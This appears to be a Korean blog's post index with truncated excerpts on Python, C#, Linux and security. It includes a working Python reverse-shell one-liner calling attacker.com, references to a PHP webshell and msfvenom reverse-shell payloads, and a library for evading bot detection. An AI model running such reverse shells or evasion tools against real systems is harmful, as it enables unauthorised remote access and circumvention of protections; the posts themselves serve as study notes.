728x90 분류 전체보기720 파이썬 - 허용된 문자, 사용 가능한 비밀번호 문자들인지 검증하기 (re) 영문, 숫자, 특수 문자들로 구성된 비밀번호인지 확인하기 import re password = raw_input("Enter string to test: ") if re.fullmatch(r'[A-Za-z0-9!@#$%^&+=]{8,}', password): # match else: # no match 출처: https://stackoverflow.com/questions/2990654/how-to-test-a-regex-password-in-python How to test a regex password in Python? Using a regex in Python, how can I verify that a user's password is: At least 8 characters Must be re.. 2023. 2. 3. Flask - 파이썬 flask 간단한 캡챠 예제(flask-simple-captcha) 모듈 설치 pip install flask-simple-captcha simple_captcha_example.py from flask import Flask, render_template, request from flask_simple_captcha import CAPTCHA config = { 'SECRET_CAPTCHA_KEY': '1111111111111111111111111', 'METHOD': 'pbkdf2:sha256:100', 'CAPTCHA_LENGTH': 5, 'CAPTCHA_DIGITS': False } @app.route('/example', methods=['GET','POST']) def example(): if request.method == 'GET': captcha = CA.. 2023. 2. 2. 웹 보안 - PHP 간단한 웹쉘(easy-simple-php-webshell.php) "> 출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 easy-simple-php-webshell.phpGitHub Gist: instantly share code, notes, and snippets.gist.github.com 2023. 2. 2. 다크넷 - Tor로 다크웹 서버 호스팅하기 tor 설치 apt-get update apt-get install tor /etc/tor/torrc 파일 수정 sudo vim /etc/tor/torrc ############### This section is just for location-hidden services ### ## Once you have configured a hidden service, you can look at the ## contents of the file ".../hidden_service/hostname" for the address ## to tell people. ## ## HiddenServicePort x y:z says to redirect requests on port x to the ## address y:.. 2023. 2. 2. C# - 설정 값 배열(array) 형태로 저장하고 불러오기 저장하기 string value = String.Join(",", intArray.Select(i => i.ToString()).ToArray()); Properties.Settings.Default.option_array = value; Properties.Settings.Default.Save(); 불러오기 int[] arr = Properties.Settings.Default.option_array.Split(',').Select(s => Int32.Parse(s)).ToArray(); 출처: https://stackoverflow.com/questions/1766610/how-to-store-int-array-in-application-settings How to store int[] array .. 2023. 2. 1. C# - dataGridView1 셀 값 수정하기 dataGridView1[1,1].Value="tes"; 출처: https://stackoverflow.com/questions/1516252/how-to-programmatically-set-cell-value-in-datagridview How to programmatically set cell value in DataGridView? I have a DataGridView. Some of the cells receive their data from a serial port: I want to shove the data into the cell, and have it update the underlying bound object. I'm trying something like th... stackov.. 2023. 2. 1. 셀레니움 - 파이썬 봇 감지 우회 라이브러리(undetected-chromdriver) pypi https://pypi.org/project/undetected-chromedriver/ undetected-chromedriver ('Selenium.webdriver.Chrome replacement with compatiblity for Brave, and other Chromium based browsers.', 'Not triggered by CloudFlare/Imperva/hCaptcha and such.', 'NOTE: results may vary due to many factors. No guarantees are given, except for ongoing eff pypi.org 설치 pip install undetected-chromedriver 사용 예시 import u.. 2023. 1. 29. 리눅스 - 칼리 리눅스 데스크탑 환경 전환(Switching Desktop Environments) https://www.kali.org/docs/general-use/switching-desktop-environments/ Switching Desktop Environments | Kali Linux Documentation During install a user may select whichever desktop environment that they prefer. However, when using the official VM this is not a possibility. In these cases, and many others, a user may wish to change their desktop environment. To get started we will fir www.kali.org .. 2023. 1. 27. 모바일 보안 - 스마트폰 루팅 루팅에 필요한 도구와 파일들 다운로드 https://autoroot.chainfire.eu/ CF-Auto-Root autoroot.chainfire.eu 루팅 방법 https://liz09045.tistory.com/128 안드로이드 루팅 방법(Galaxy A8/SM-A880S) [핸드폰 설정] 안드로이드 폰에서 [설정] -> [휴대전화 정보] -> [소프트웨어정보] 에 들어가 [빌드번호]를 7번 정도 연속으로 눌러준 뒤, 다시 [설정]으로 가면 맨 아래에 [개발자 모드]가 켜진다. liz09045.tistory.com 2023. 1. 26. 시스템 보안 - 파이썬 리버스 쉘 스크립트 export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' 대부분의 유닉스 계열의 OS(리눅스, 맥os)에는 python2는 설치가 되어있는 경우가 많으니 별도의 설치 없이 명령어만으로 사용 가능하다. 출처: https://gtfobins.github.io/gtfobins/python/#reverse-shell python | GTFOBins Run socat file:`tt.. 2023. 1. 25. 시스템 보안 - 메타스플로잇 msfvenom 리버스 쉘 제작 명령어 출처: https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/ MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter) Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. Learn More There are tons of cheatsheets out there, but I couldn’t find a comprehensive one that includes n… infinitelogins.com 윈도우 msfvenom -p windows/meterp.. 2023. 1. 24. 리눅스 - ssh 키 파일로 비밀번호 없이 접속하기(ssh-keygen) 1. 우선 클라이언트 측이 아래의 명령어로 키 쌍(개인키, 공용키)을 생성시킨다. RSA 형식(type)으로 키 쌍을 생성 하는 명령어 ssh-keygen -t rsa 생성해주게 되면 ~/.ssh 폴더에 id_rsa, id_rsa.pub이 생성이 되고 각각 개인키, 공용키이다. (* 개인키는 절대 유출 x) ~/.ssh/ ├─ id_rsa ├─ id_rsa.pub 2. id_rsa.pub(공용키)의 내용을 서버 측의 ~/.ssh/authorized_keys 파일에다 적어준다. vim ~/.ssh/authorized_keys 3. 클라이언트(접속자)는 ~/.ssh/ 경로에다 id_rsa를 넣던가 명령어(with -i 옵션)를 통해서 서버에게 접속 ssh -i id_rsa 사용자_아이디@서버_아이피 or ~.. 2023. 1. 23. 이전 1 ··· 23 24 25 26 27 28 29 ··· 60 다음 728x90